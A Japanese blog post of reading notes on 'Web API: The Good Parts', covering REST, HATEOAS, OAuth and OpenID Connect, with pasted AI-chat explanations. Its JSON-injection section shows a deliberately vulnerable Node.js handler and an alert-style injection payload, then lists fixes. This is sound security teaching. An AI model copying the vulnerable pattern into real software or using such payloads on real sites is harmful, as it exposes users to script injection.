これはなに
最近、「Web API: The Good Parts」という技術書を読みました。
私、読書をする時Notionに毎回メモをとっておりまして、ふと気づいたのです。
「これQiitaにコピペしたらええやん」
と。
そうすることで、私が勉強していることを周りに知らしめることができて「なんかすごいやつ」と思われるかつみんなの学びや読書のきっかけを与えられるのではないかと思いました。
なので、コピペいたします。
みなさま大変長い記事になっておりますが、生成AIに質問しながら理解してもらえますと幸いでございます。
ちなみに、この本はかなり面白かったのでおすすめです。
Web APIの基礎を知りたい人、学び直したい人、必読でございます。
↓↓↓↓↓↓↓↓↓↓ここから読書メモ↓↓↓↓↓↓↓↓↓↓
もんた的目的
Web API開発のいろはを学びたい。
何に気をつけ、何を意識し、どのように設計すればいいのか、最低限のAPI開発の基礎を学びたいと思う。
本書を通して、API開発の基礎を理解し、それを実務に活かし、よりスケラービリティ、アジリティ、保守性、耐久性の高いアプリケーション開発に繋げていきたいと思う。
本書で学びたいこと
- APIを公開する上でしては行けないものは?逆に、しなきゃ行けないものは?
- 美しい設計のAPIとは何か?
- レスポンスでは何を意識するのが良いか?
- HTTPの仕様を最大限利用するとはどういうことか?
- 設計変更しやすいAPIと範囲か?
- 堅牢なAPIを作る上で意識しないといけないことは何か?
1章 Web APIとは何か
REST APIについて
🐶「REST APIとは」
以下、2つの軸で整理します。
1. 一般的に知られているRESTの意味
現在「REST API」と呼ばれるものは、多くの場合以下のように理解されています。
-
HTTPメソッドを資源(リソース)操作の手段として用いる
- GET/POST/PUT/DELETEなどを、それぞれ「取得/作成/更新/削除」のCRUD操作に対応させる設計手法。
-
URIでリソースを一意に識別する
-
https://api.example.com/users/123
のようにパスでリソースを指定し、直感的にエンドポイント設計を行う。
-
-
ステートレス性
- リクエストごとに認証情報や必要データを含め、サーバ側でセッションを保持しない。
-
JSONを代表とする任意の表現形式(メディアタイプ)でデータをやり取り
- 返却データは人手/機械可読なJSONが主流。
こうした実装慣習が「RESTらしい」とされ、Web API一般を指して「REST API」と呼ぶ流れが生まれました。しかしこれは、Fieldingが定義した原義からは大きく簡略化されたものです (ウィキペディア)(ウィキペディア)。
2. 本来のRESTの意味(Roy Fieldingの定義)
Roy Fieldingが2000年の博士論文で定義したREST(Representational State Transfer)は――
分散ハイパーメディアシステムのためのアーキテクチャスタイル
(…大粒度データオブジェクトを高遅延ネットワーク越しに転送し、ハイパーメディアによる状態遷移を行う) (UCアーバイン情報学部)。
主な制約 (constraints) は以下の6つです:
- Uniform Interface(一様なインターフェース)
- Stateless(ステートレス)
- Cacheable(キャッシュ可能)
- Client–Server(クライアント/サーバ分離)
- Layered System(階層化システム)
- Code on Demand(コード転送)のみオプション
特に第1の「Uniform Interface」はハイパーメディア(リンクやフォーム)による状態遷移――HATEOAS(Hypermedia As The Engine Of Application State)を必須とし、
クライアントは“最初のURI”以外の情報を事前に知らず、返されるハイパーメディアを辿ることでのみアプリケーション状態が遷移する (UCアーバイン情報学部)。
このように、RESTは単なるHTTP+JSONではなく、ハイパーメディア駆動の状態遷移を中核とする設計思想です。
REST用語の誤用に対するRoy Fieldingの遺憾
Fielding自身は、現在の「REST API」呼称に強い不満を示しています。2008年の自身のブログ記事では、
「HTTPベースなら何でもREST APIと呼ぶ風潮に苛立っている。ハイパーメディアで駆動されないものはREST APIではない。断言する。」 (Roy T. Fielding)。
さらに記事中で「RPCにしか見えない」「ハイパーメディア制約を満たしていない」「別のバズワードを使うべきだ」と厳しく指摘し、
「本来のRESTを使う必要がないなら構わないが、『REST API』と呼ぶな」 (Stack Overflow)。
このように、多くのWeb APIが「RESTful」と自称しつつも、Fieldingの定義からは逸脱している点を強く問題視しています。
多く一般的に知られているREST APIとはHTTPで駆動されるインターフェースで、JSON形式のデータを返すようなものという理解をされている。
実際、自分もREST APIに対する理解は上記の通りだった。
しかし、REST APIの生みの親であるFielding氏は自身のブログにて、以下の主張をしている。
「HTTPベースなら何でもREST APIと呼ぶ風潮に苛立っている。ハイパーメディアで駆動されないものはREST APIではない。断言する。」 (Roy T. Fielding)。
つまり、REST APIとは単純にHTTPベースで駆動するものではなく、ハイパーメディアで駆動されるものでないといけないということだ。
🐶「Fielding氏の主張の意味」
Fielding氏が「RESTはHTTPベースの通信かつハイパーメディアによる駆動でなければならない」と言うとき、そこには主に次の2つの要件が含まれています。
1. HTTPベースの通信を活かす
REST はもともと Web(HTTP)を対象に設計されたアーキテクチャスタイルで、以下のような HTTP の機構を前提としています (ウィキペディア):
- リソース識別(URI)
- メソッド(GET/POST/PUT/DELETE など)の意味論
- ステータスコード/ヘッダーによるメタデータ
- コンテンツネゴシエーション(
Accept
/Content-Type
) - キャッシュ制御
これらを“ただのトランスポート”としてではなく、状態遷移や副作用を表現する主要な手段として使うことで、クライアントとサーバー間の責務分離や、標準的な振る舞い(例:キャッシュ可能な GET)を保証します。
2. ハイパーメディア駆動(HATEOAS)
REST の6つの制約のうち「Uniform Interface(⼀様なインターフェース)」に含まれる重要要素が HATEOAS(Hypermedia As The Engine Of Application State)です。
- クライアントは初回に与えられたエントリーポイント URI(例:
/api/
)以外、事前にどのような操作が可能か知らない - 以降のすべての状態遷移(次にどこへ POST/GET すべきか)は、サーバーが返すハイパーリンク(リンクオブジェクト)やフォーム定義で“駆動”される
- したがって、システム全体の操作手順やエンドポイント構造は、レスポンス自身が“教えてくれる” ことになります (ウィキペディア)。
例:
GET /accounts/12345 HTTP/1.1
…
HTTP/1.1 200 OK
{
"accountId": 12345,
"balance": 100.00,
"links": {
"deposit": { "href": "/accounts/12345/deposits", "method": "POST" },
"withdraw": { "href": "/accounts/12345/withdrawals", "method": "POST" }
}
}
— クライアントはこの links
情報だけを頼りに、次のアクション(入金・引き出し)を選択します。
なぜこれが必須か?
Fielding氏は、自身のブログ記事でこう断言しています:
“if the engine of application state (and hence the API) is not being driven by hypertext, then it cannot be RESTful and cannot be a REST API. Period.” (Roy T. Fielding)
すなわち、
- HTTP のリソース/メソッド設計を正しく活用し、
- HATEOAS によってハイパーメディアがアプリ状態遷移の原動力となり、
はじめて “真の RESTful API” と呼べる、というわけです。
これを満たさない JSON-over-HTTP や単なる CRUD インターフェースは、Fielding氏の定義からすると REST ではなく RPC と同義だと強く批判しています。
なるほど、つまりREST APIとは単純にURIを実行し、JSONデータを取得するプロセスを提供するインターフェースという意味ではなく、その中に「次のクライアントはどのエンドポイントを実行できるか」を示した情報を含めることで、クライアントに「ハイパーメディアによる駆動」を可能にさせることまで含めるということか?
単純にJSONデータを受け取れるエンドポイントのことをREST APIと呼ぶのではなく、そのJSONデータの中に「次にユーザーが行動できる情報」を含めて初めてREST APIになるということだろうか?
🐶「内容のフィードバック」
はい、その理解は本質をきちんと捉えています。ただ、プロの視点からもう少し厳しめにチェックすると、以下のようなポイントが挙げられます。
1. 理解の要点確認
-
× 単なる CRUD/JSON-over-HTTP
- 「GET/POST で JSON が返ってくるだけ」のインターフェースは、Fielding の定義上は REST ではなく RPC に近い。
-
○ 真の REST(HATEOAS)
- レスポンスに「次にどのエンドポイントを呼べるか」を示すハイパーメディア(リンクオブジェクト/フォームなど)の情報を含め、
- クライアントはそれを見て自己駆動的に状態遷移を行う
→ したがって「JSONデータだけ」ではなく、「ユーザーが取りうる次のアクションを自己記述的に含むJSON」であることが必須、という点は正しいです。
2. プロの目線での厳しめチェックポイント
-
ハイパーメディア“制御要素(controls)”の範囲
-
単に “リンク URI” を返すだけでなく、HTTP メソッド、期待するペイロード、必要なヘッダーなどの 操作仕様 まで示すのが望ましい。
-
例:
{ "links": { "withdraw": { "href": "/accounts/12345/withdrawals", "method": "POST", "schema": { "type":"object", "properties": { "amount": { "type":"number" } } } } } }
-
つまり「次のエンドポイントURI」+「どう呼び出すか」をセットで示す必要がある。
-
-
全ての操作に HATEOAS を適用するのか
- 実務では「主要な資源取得だけ」「重要な操作パスだけ」にハイパーメディアを貼り、
- 細かいサブ機能はドキュメントや仕様書に委ねるケースも多い。
- 完全準拠 vs 実用主義のバランスを考慮すべし。
-
その他 REST 制約への言及漏れ
- 真の REST には Cacheable / Layered System / Code-On-Demand(任意) など、
- HATEOAS 以外にも守るべき制約が複数ある。
- 「ハイパーメディア駆動だけすれば OK」ではなく、6つの制約を俯瞰する視点があるとベターです。
-
ユーザー(クライアント)設計への影響
- クライアントは「事前知識なしに走る」前提なので、
- リンク関係の名前(リレーションタイプ: rel)やエラー情報の表現を厳格に設計しないと、
- クライアント側実装が複雑化したり失敗時に復旧できなくなるリスクがあります。
3. 改善提案イメージ
単に GET /users/123 → JSON を返すだけの API を「REST」と呼ぶのは誤りで、
真の RESTful API とは以下をすべて満たすものと理解すべきです。
- エントリーポイントだけは知らせる
- リンクオブジェクト+操作仕様 を各レスポンスに含める(HATEOAS)
- その他の REST 制約(ステートレス、キャッシュ可能など)を考慮する
このように整理すると、学術的にも実務的にもブレない 「REST API に求められる要件セット」 が明確になります。
🐶「少し冗長に感じるのだけど、クライアント側でどう実行するのか?」
クライアントがハイパーメディア駆動で次の API を実行する流れを、具体例を交えてざっくり説明しますね。
1. ハイパーメディアの構造例
まずはレスポンスの JSON がどうなっているかの例です(HAL 風フォーマット):
GET /accounts/12345
→ 200 OK
{
"accountId": 12345,
"balance": 100.00,
"_links": {
"self": { "href": "/accounts/12345", "method": "GET" },
"deposit": { "href": "/accounts/12345/deposits", "method": "POST" },
"withdraw":{ "href": "/accounts/12345/withdrawals","method": "POST" }
}
}
ここで重要なのは:
-
_links
オブジェクトのキー(deposit
/withdraw
)が “relation type”(rel) と呼ばれる識別子 - 各リンクが
href
(実際の URI) とmethod
(使う HTTP メソッド)を持っている
2. クライアント側の実装イメージ
ステップ 1:最初のリクエストを投げてリソースを取得
async function fetchResource(url) {
const res = await fetch(url);
if (!res.ok) throw new Error(res.statusText);
return await res.json();
}
let account = await fetchResource('/accounts/12345');
ステップ 2:次に呼ぶべきリンクを取り出す
// account._links.deposit の中身を取り出す
const depositLinkInfo = account._links.deposit;
// たとえば { href: '/accounts/12345/deposits', method: 'POST' }
ステップ 3:リンク情報をそのまま使って次の API を呼ぶ
async function follow(linkInfo, payload) {
const res = await fetch(linkInfo.href, {
method: linkInfo.method,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
return await res.json();
}
// “deposit” をそのまま駆動力として使う
let newBalance = await follow(depositLinkInfo, { amount: 50.00 });
――これで、クライアントは「どの URI を」「どのメソッドで」「どういうデータを送ればいいか」を全部サーバー側が返した情報(ハイパーメディア)だけで決められます。
3. 「冗長」に感じる理由とその解消法
-
確かに JSON をパースしてリンクを取り出すコードは書く必要がある
→ だけど、一度汎用の
follow(linkInfo, payload)
関数を用意すれば、あとはrel
名を変えるだけ。 -
仕様書で定義すればいいのでは?
- 仕様書は「ドキュメント」で、クライアントの実装は「コード」。
- ドキュメントとコードが乖離するとバージョンアップのたびに手作業で同期が必要になり、
- ハイパーメディアだと「サーバーが教えてくれる最新のリンク」をクライアントは常に自動取得できる。
結果的に、
- 冗長な手作業的差し替え が減り
- 疎結合で進化に強いクライアント が書けるようになります。
4. まとめ
- クライアントはレスポンス中のリンク情報を「そのまま」使って次のリクエストを自動生成する
- リンク取得→follow のパターンを汎用関数化すれば、実装はシンプルに保てる
- 仕様書に頼るより、ハイパーメディアが「自己記述的に」最新の操作手順を教えてくれるため、バージョン運用コストが下がる
もし具体的なライブラリ例(JavaScript なら traverson
、Java なら Spring HATEOAS
など)や、別フォーマット(Siren/JSON:API)の話が気になるようでしたら、さらに掘り下げてご紹介します!
ちなみにREST
とはREpresentational State Transfer
という意味。
直訳すると、表現的状態転送である。まぁ、なんとなくREST APIのレスポンスから次のアクションを決定するというニュアンスは伝わる。
このRESTからもわかるように、gRPCなどを用いた必要最低限のペイロードだけ転送するみたいな思想はREST APIから遠ざかっていると言えるだろう。
参考:https://recrits.hatenablog.com/entry/2022/07/20/000045
まとめ
この章ではREST APIの基礎、美しいAPIとは何かについて学んだ。
美しいAPIは保守性が高く、拡張性も高い、さらにはセキュリティ性も高いので柔軟な対応や素早い対応が可能になる。
また、REST APIの定義についても学んだ。
多くの人が一般的に思っているREST APIはREST APIの定義としては不十分で、RPC的な考えに近いという主張をRESTの提唱者であるFielding氏は語っているということが示されていた。
2章 エンドポイントの設計とリクエストの形式
POSTメソッドに関して
POSTメソッドは送信したデータをURIに従属させるという意味になる。従属とは、属しているという意味である。
例えば、http://example.com/v1/friends
というURIがあり、そのURIからユーザー追加に関するデータをPOSTしたとする。
するとそのデータはこのURIに従属することになるので、http://example.com/v1/friends/12345
のようになるということ。
基本的にPOSTしたデータは現在のURIの下に新しい識別子が追加され、アクセスできるようになっていないといけないよという理解でOK。
PATCHメソッドに関して
PATCHメソッドはデータのごく一部を更新したい場合に使う。
PUTと似たような感じだが、PUTは送信したデータを元にリソースを書き換えるというニュアンスだが、PATCHはごく一部だけを更新したいというニュアンス。
例えば1MBもある大きなデータのごく一部を更新したい場合、PUTだといちいち1MBという巨大なデータを送信する必要があります。これをPATCHを使うことで「1MBのうちの本のごく一部だけを更新」というニュアンスにすることができるのだ。
URI内で単語同士を繋げる必要がある場合、ハイフンを使う
URI内で単語を繋げる必要がある場合は、極力ハイフンを使うようにしよう。
具体的には、以下のようにしようということ。
http://example.com/v1/users/12345/profile-image
http://example.com/v1/users/12345/friend-profile
理由は2つある。
1つ目はGoogleが推奨するのがハイフンだから。
GoogleではURIにて、単語同士を繋げる場合はハイフンを使うことを推奨している。
Googleでは_は無視されてしまい、一つの単語として扱うようにできているからだとか。
2つ目はURI内のホスト名ではハイフンは許可されているが、アンダースコアは許可されていないから。
ドメイン名ではアンダースコアを使うことはできず、大文字も使うことはできない。ドメインでそういうルールなのであれば、ほかの箇所でも同じルールを適用された方が一貫性があっていいよねということだ。
しかし、最も良い方法は単語の繋ぎ合わせをそもそもやめることである。そもそも繋ぎ合わせをしないように設計することで、こう言った悩みは無くなる。
OAuthについてざっくりと
OAuthとはファイスブックに登録されているユーザーの情報を通して、あなたの利用するサービスの認証を許可する仕組みのことを指す。
🐶「OAuthとは」
まずはOAuthが生まれた背景から、仕組み、そして具体例でのイメージの3ステップで解説するよ。
1. 背景:なぜOAuthが必要になったのか
-
従来の問題
サードパーティサービス(例:写真プリントアプリ)に自分のパスワードを教えないと、自分の写真や連絡先にアクセスできなかった。
- パスワード漏えいのリスク
- アクセス範囲を細かく制御できない
-
OAuth の登場
「サービスAにパスワードを教えずに、限定的にサービスBのデータを使わせる」仕組みとして策定された。
2. OAuthの仕組み(4つの役割)
役割 | 説明 |
---|---|
リソースオーナー | データの持ち主(例:あなた。写真やカレンダーの所有者) |
クライアント | アクセスを求める第三者アプリ(例:写真プリントアプリ、スケジューラーアプリ) |
認可サーバー | 「誰がどこまでアクセスしていい?」を判断・トークン発行するサーバー |
リソースサーバー | 実際のデータを持っているAPIサーバー(例:Google Photos API、Google Calendar API) |
- クライアントが「あなたの写真を見せてほしい」とリクエスト
- 認可サーバー(Googleなど)が本人ログイン&同意を要求
- あなたが同意すると、認可サーバーが「アクセストークン」をクライアントに発行
- クライアントはそのトークンを使って、リソースサーバーから写真データを取得
この間、クライアントはあなたのパスワードを一切知らないし、
・どのデータにアクセスできるか(スコープ)
・いつまで有効か(有効期限)
を細かく制御できるんだよ。
3. 具体例:写真プリントアプリで考える
- あなたが「MyPhotoPrint」というアプリを起動
- アプリは「Googleフォトの写真を印刷したい」と言う
- ブラウザがGoogleの認可画面にリダイレクト
- 「MyPhotoPrintに○○枚までの写真を閲覧・ダウンロードする権限を与えますか?」と表示
- あなたが“許可”ボタンをクリック
- Google(認可サーバー)が発行したアクセストークンをアプリが受け取る
- アプリはそのアクセストークンを使い、GoogleフォトAPI(リソースサーバー)から写真一覧を取得
- 満足する写真を選んで、印刷の注文へ
ポイント
- アプリに教えたのは「アクセストークン」だけ。
- 本当のGoogleアカウントのパスワードは秘密のまま。
- トークンは有効期限切れや、あなたのGoogleアカウント側でいつでも取り消し可能。
4. アナロジー:ホテルのカードキー🔑
-
あなた(リソースオーナー)がホテルのフロント(認可サーバー)で
「ルームサービスだけ使えるカードキーを発行して」と頼むイメージ。
-
そのカードキー(アクセストークン)を渡されたルームサービス業者(クライアント)は
部屋に入って料理を届けられる(限定アクセス)。
-
あなたはチェックアウトすると同時に、そのカードキーは無効になるか、
フロントで取り上げてもらえばいつでも使えなくできる。
まとめ
- OAuthは「パスワードを教えずに」「必要最低限のアクセスだけを」「一時的に許可する」仕組み。
- 4つの役割(リソースオーナー/クライアント/認可サーバー/リソースサーバー)で構成。
- 具体例やアナロジーをイメージすると、誰でも理解しやすいはずだよ。
これでOAuthの全体像がつかめたかな?何か気になるところがあれば教えてね!
この説明からもわかるように、OAuthはあくまであるサービスの情報をアクセスしたい場合に、パスワードを使わずに許可されたリソースにアクセスできる仕組みのこと。
また、信頼されたサービスからOAuthのアクセストークンを取得することで、「このアカウントは信頼されたアカウントだ」とみなすこともできる。
単純な認証のためのアクセストークン発行の手段としても、OAuthは利用することができる。
🐶「フィードバック」
ご認識の「信頼されたサービスからアクセストークンを取得すれば、そのアカウントを“信頼されたアカウント”と見なせる」という理解には、以下のようなポイントがあります。ステップごとに見ていきましょう。1. OAuth の本来の目的は「認可(Authorization)」
- OAuth は「あるクライアントアプリがリソースサーバー上のデータにどこまでアクセスしてよいか」を制御する仕組みです。
- 発行されるのは アクセス用トークン(access token) で、あくまで「許可の証」です。
2. OAuth アクセストークンを“認証”に使う流れ
- クライアントが OAuth フローを開始 → 認可サーバーでユーザーがログイン+同意
- クライアントはアクセストークンを受け取る
- そのトークンでユーザー情報 API を叩き、メールアドレスやユーザーIDを取得
- 取得したユーザーIDで自社サービスのアカウントと紐づけ → 「本人認証」の代用
→ これによって「FacebookやGoogleがこのユーザーを認めているから、このログインは信用できる」と判断できます。
3. 注意点:純粋な認証プロトコルではない
-
OAuth 自体は 認可プロトコル なので、
-
発行済みトークンの取り消しタイミング
-
トークンの改ざん防止
-
トークンの真正性検証
といった「本人認証のための厳密な保証」は仕様に含まれていません。
-
-
単にアクセストークンで取れる情報を 믿頼してしまうと、
-
リダイレクトURIの不正登録
-
フィッシングによるトークン漏洩
といったリスクがあります。
-
4. より安全に「認証」を実現するには:OpenID Connect
-
OpenID Connect(OIDC) は OAuth 2.0 をベースに
- ID トークン(ID Token, JWT) を追加
- 発行者(iss)、利用者(aud)、ユーザー識別子(sub)などを含む
- クライアントはこの ID トークンを検証することで、
-
トークンの「真正性」
-
トークンの「有効期限」
-
トークンの「発行先」
を厳密にチェックし、安全に認証が行えます。
-
まとめ
- OAuth → 認可(Authorization) が本来の役割
- OAuth のアクセストークンを使って認証を代用することは技術的に可能 だが、仕様上は厳密な本人確認を保証しない
- 本格的に認証機能を組み込みたい場合は OpenID Connect を利用し、IDトークンを検証するのがベストプラクティス
以上の点を踏まえると、ご理解は「技術的には OAuth のアクセストークンで“信頼されたアカウント”を判断できる」までで正しいものの、より安全・確実に認証を行うには OIDC の利用をおすすめします。
OAuth アクセストークンを“認証”に使う流れ
- クライアントが OAuth フローを開始 → 認可サーバーでユーザーがログイン+同意
- クライアントはアクセストークンを受け取る
- そのトークンでユーザー情報 API を叩き、メールアドレスやユーザーIDを取得
- 取得したユーザーIDで自社サービスのアカウントと紐づけ → 「本人認証」の代用
→ これによって「FacebookやGoogleがこのユーザーを認めているから、このログインは信用できる」と判断できます。
OAuth把握までの認可のサービス。
認可のサービスでしかないのでアクセストークンの発行しかできない。
発行されたアクセストークンを利用してユーザー情報を取得し、自社サービスのアカウントと紐づけることで本人確認のフローの一部とすることが可能。
HATEOAS
🐶「HATEOASについて」
🚀 HATEOASってなに?
Hypermedia As The Engine Of Application State
見る視点 | ひとことで |
---|---|
📚 用語 | 「ハイパーメディア (リンク) がアプリの状態遷移を導く」 |
🧑💻 開発者感覚 | クライアントは URL を組み立てない。サーバーが提示するリンクを “たどる” だけ |
🗺️ たとえ話 | Web サイトの ナビゲーション をクリックで進むのと同じ |
1️⃣ REST のおさらい ✋
REST API では「リソース(データ)」を URL で表し、
GET /users/42
👉 ユーザ 42 の情報
みたいに取りますよね。
でも普通の REST だけだと――
- クライアントは「次にどの URL を叩くか」を事前に知っているか、
- ドキュメントや設定で ハードコード しておく
という前提が必要でした。
2️⃣ HATEOAS がやってくる 🧭
HATEOAS を取り入れると、サーバーは レスポンス内に “次に進むためのリンク” を埋め込みます。
クライアントはそのリンクをクリック(HTTP 呼び出し)するだけで OK。
┌── クライアント ──┐ ┌── サーバー ──┐
│ 今日は何する? │━━→ │ データ+🔗 │
│ もらった🔗を叩く │←━━ │ さらに🔗 │
└───────────┘ └───────────┘
つまり
状態遷移 = リンク先に従うだけ
だからアプリ全体の動きを サーバー側から宣言的に制御 できます 🎛️
3️⃣ 具体例:ネットショップ API 🛒
🏷️ シナリオ
- ユーザが新しい注文を作る
- 支払いがまだなら「支払う」リンクが表示される
- 支払うと「配送状況を確認」リンクに切り替わる
📦 API レスポンス(HATEOAS あり)
GET /orders/123
{
"orderId": 123,
"status": "CREATED",
"items": [
{ "sku": "ABC-001", "qty": 2, "price": 1200 }
],
"_links": {
"self": { "href": "/orders/123" },
"pay": { "href": "/orders/123/payment", "method": "POST" },
"cancel": { "href": "/orders/123", "method": "DELETE" }
}
}
- クライアントは
pay
がある=未決済と判断 👉 その URL を POST - 決済成功後のレスポンス:
{
"orderId": 123,
"status": "PAID",
"_links": {
"self": { "href": "/orders/123" },
"tracking": { "href": "/orders/123/shipping" }
}
}
ここで pay
は消え、代わりに tracking
が現れる。
クライアントは「次のアクション」を コードに埋めず、リンク存在有無で判断 🎯
4️⃣ メリット 🎉
👍 良いところ | 説明 |
---|---|
🔗 疎結合 | URL 構造が変わってもリンクさえ更新すればクライアント修正ゼロ |
🏎️ 進化が速い | 新機能をリンクで追加 → 古いクライアントは無視、新しいのは利用 |
🕵️ 自己説明的 | レスポンス読めば「何ができるか」が即わかる |
5️⃣ 実装のコツ 🔧
- リンクを
_links
などで一貫して提供 - 状態ごとに「許可される操作」を列挙
- RFC-8288(Web Linking)や HAL / Siren / JSON-API など既存フォーマットを活用すると楽 🎁
✨ まとめ
HATEOAS = “サーバーが示す道しるべ🔗に従うだけで、クライアントは迷わない”
初心者視点では「レスポンスの中に 次の API エンドポイントが書いてある」仕組み、と覚えれば OK!
これでフロントエンドもバックエンドも、将来 URL やフローが変わっても 壊れにくい アーキテクチャを作れます。
HATEOAS
とはHypermedia As The Engine Of Application State
のことで、ハイパーメディアとは、APIを叩いて得られる結果に含まれるリンクに従って次の処理を決定するようにしましょうねという意味である。
以下のように取得できるAPIの結果のlinksに従って次の処理を決定するのがHATEOASである。
GET /orders/123
{
"orderId": 123,
"status": "CREATED",
"items": [
{ "sku": "ABC-001", "qty": 2, "price": 1200 }
],
"_links": {
"self": { "href": "/orders/123" },
"pay": { "href": "/orders/123/payment", "method": "POST" },
"cancel": { "href": "/orders/123", "method": "DELETE" }
}
}
HATEOASと一緒に知っておきたい概念として、REST LEVEL3 APIがある。
🐶「REST LEVEL3 APIとは」
🍀 Richardson Maturity Model(REST 階層モデル)おさらい
レベル | キーワード | ざっくり説明 |
---|---|---|
0 | “XML/JSON over HTTP” | URL も動詞も 1 つ。実質は RPC。 |
1 | リソース | URL をリソースごとに分ける (/users/42 ) |
2 | HTTP 動詞 |
GET /users/42 ・POST /users など、メソッドで操作を表現 |
3 | HATEOAS | レスポンス内の リンク/フォーム が “次の一手” を示す |
Level 3 が “純正 REST” と呼ばれる完成形。今日はここを具体例で深掘りします。
1️⃣ まず Level 2 までの API を作ってみる 🛠️
GET /orders/123 # 注文を取得
POST /orders/123/pay # 支払い実行
- URL はリソースごと
- 動詞で “読む/作る/更新する” を区別
-
欠点:
- クライアントは
.../pay
という パスを知っている前提 - 状態遷移(支払う→配送確認)は ドキュメント頼み で “埋め込み”
- クライアントは
2️⃣ Level 3 にアップグレード 🚀
📦 レスポンス例(HAL 風)*
GET /orders/123
{
"orderId": 123,
"status": "CREATED",
/* 👇 ここが Level3 の本質 */
"_links": {
"self": { "href": "/orders/123" },
"pay": { "href": "/orders/123/payment", "method": "POST" },
"cancel": { "href": "/orders/123", "method": "DELETE" }
}
}
-
リンク存在 = 許可された操作
-
pay
があれば未決済 -
cancel
があればキャンセル可能
-
-
クライアントはリンクをそのまま呼ぶだけ。
URL を組み立てるロジックは消える ✨
🔄 状態遷移の自動案内
状態 | 返却される _links
|
クライアントの行動 |
---|---|---|
CREATED |
pay , cancel
|
支払う or キャンセル |
PAID |
tracking |
荷物追跡へジャンプ |
SHIPPED |
receive |
受取確認を送信 |
/* 支払後のレスポンス */
{
"orderId": 123,
"status": "PAID",
"_links": {
"self": { "href": "/orders/123" },
"tracking": { "href": "/orders/123/shipping" }
}
}
👉 支払い用 URL はもう返ってこない。
クライアントは “リンクが無い=その操作は不可” と理解できる。
3️⃣ Level 3 のメリット 🌟
メリット | どう嬉しい? |
---|---|
🔗 疎結合 | URL が変わってもリンクを書き換えるだけで済む |
📈 進化に強い | 新アクションをリンクとして返せば古いクライアントは無視、新クライアントは即利用 |
🕸️ 自己記述性 | レスポンスを見れば「今できること」が分かる。Swagger を開かなくても動的に UI を生成できる |
4️⃣ 実装ワンポイント 💡
-
リンクの仕様を決める
- RFC 8288 (Web Linking)、HAL、Siren、JSON-API などがおすすめ
- ビジネス状態 ↔ リンク集合 をテーブル化しておく
- フロントは “リンク探索 → 実行 → 表示” の3ステップで実装するとシンプル
🎯 まとめ
REST Level 3 = サーバーが “次へ進む地図 🗺️” を毎回渡し、クライアントは道しるべを素直にたどるだけ
これで API は将来 URL を再設計しても崩れず、クライアントも「次に何ができる?」をコードに埋め込まなくて済みます。
初学者は「レスポンスにリンクがある API = Level 3」と覚えておけば OK です!
以下のスニペットからもわかりように、HATEOASを導入したのがREST LEVEL3 APIという理解でいいだろう。
GET /orders/123
{
"orderId": 123,
"status": "CREATED",
/* 👇 ここが Level3 の本質 */
"_links": {
"self": { "href": "/orders/123" },
"pay": { "href": "/orders/123/payment", "method": "POST" },
"cancel": { "href": "/orders/123", "method": "DELETE" }
}
}
まとめると、HATEOAS
自体はREST APIの本来の概念を表したもので、REST LEVEL3 APIはHATEOAS
を導入したREST LEVEL APIなんだよということ。
入り口さえ知っておけばクライアントはどのように状態遷移すればいいかがわかる。それを提供するのがHATEOASであり、REST APIということがわかった。
まとめ
この章ではエンドポイントの設計について学んだ。
ざっくりとめっそどの種類には何があるのか、それらのいいは何かについて学んだ。
PATCHは一部を変更するPUTと似たやつというのは新たな発見だった。
その他、パスの命名はどうするべきかなども学んだ。
個人的に学びになったのは、HATEOASの概念についてだ。
HATEOASとはREST API本来の概念そのものであり、REST APIを提供するなら、「クライアントは入り口となるエンドポイントさえ知っていれば、どのように状態遷移をすればいいかわかる」ようにすることが大切であるということを学んだ。
個人的にREST APIに対してはずっと勘違いしていたので、これを機に理解することができてよかった。
3章 レスポンスデータの設計
レスポンスデータは配列ではなくオブジェクトで返す
本書ではレスポンスは配列ではなく、オブジェクトで返した方が良いと主張されていた。
その最も大きな理由はJSONインジェクション対策のためである。
🐶「JSONインジェクションとは」
🐣 JSONインジェクションってなに?
「本物の JSON に、攻撃者が“余計なコードやデータ”を混ぜて意図しない動きをさせる攻撃」 です。
🔑 キーワードは 「文字列連結で JSON を作らない」 & 「信頼できない値はエスケープ」!
1️⃣ どうやって起きるの?(ざっくり図解)
┌──── ユーザ(攻撃者) ────┐
│ { "name": "…"} <─+───┐│ ← 入力欄や URL に細工
└──────────────────┘│
▼
① サーバ or JS で文字列結合
const json = '{"name":"' + input + '"}';
▼
② パース/評価
JSON.parse(json) / eval(json)
▼
③ 構造崩壊・コード実行😱
2️⃣ 具体例:検索APIに潜むワナ 🔎
💻 サーバ側(Node.js のイメージ)
app.get("/search", (req, res) => {
// ❌ 文字列結合でレスポンスを返す
const q = req.query.q; // ユーザ入力
const result = '{"keyword":"' + q + '"}';
res.setHeader("Content-Type", "application/json");
res.send(result);
});
🛠️ 攻撃シナリオ
-
攻撃者がこんな URL を叩く
/search?q="};alert('Hacked');//
-
サーバが作るレスポンスは……
{"keyword":""};alert('Hacked');//"}
-
フロント側が
eval()
などで JSON を扱っていた場合、alert('Hacked');
が実行され XSS に! 🚨
ポイント:
- サーバは「ただの JSON」だと信じて送信
- でもフロントのパース方法次第で 任意コード実行 に発展
3️⃣ よくあるパターン別の危険性
シチュエーション | 典型的なミス | 起きる問題 |
---|---|---|
① サーバ → フロント | 手動で JSON 文字列を組み立てる | スクリプト混入 → XSS |
② フロント → サーバ | リクエストボディをそのまま DB に格納 | 構造破壊 → 不正な値挿入・SQLi 連鎖 |
③ WebStorage | LocalStorage に”{"isAdmin":true}“を保存し判定 | 値を書き換えられ特権昇格 |
4️⃣ 防ぎ方 🔒
-
JSON.stringify()
で組み立てるconst safe = JSON.stringify({ keyword: q });
-
eval()
を使わずJSON.parse()
-
eval()
はコードも実行する。JSON.parse()
は“構文”しか読まない
-
-
Content-Type を
application/json
- ブラウザが JS として誤解釈するリスクを下げる
-
入力値のサニタイズ/スキーマバリデーション
- 例:
zod
やYup
で「文字列のみ」「長さ制限」など
- 例:
-
WebStorage の機密値に署名 or 暗号化
- 少なくとも改ざん検知を追加
5️⃣ まとめ 📝
- JSONインジェクション = JSON の“すき間”に悪意を注入
- ほとんどは「文字列連結」+「eval()」が原因
-
JSON.stringify
&JSON.parse
を徹底、入力値を信じない!
覚え方 👉 「JSON はコードじゃない! “ただのデータ” として安全に扱おう」 🛡️
「本物の JSON に、攻撃者が“余計なコードやデータ”を混ぜて意図しない動きをさせる攻撃」 です。
🔑 キーワードは 「文字列連結で JSON を作らない」 & 「信頼できない値はエスケープ」!
要するにこういうこと。
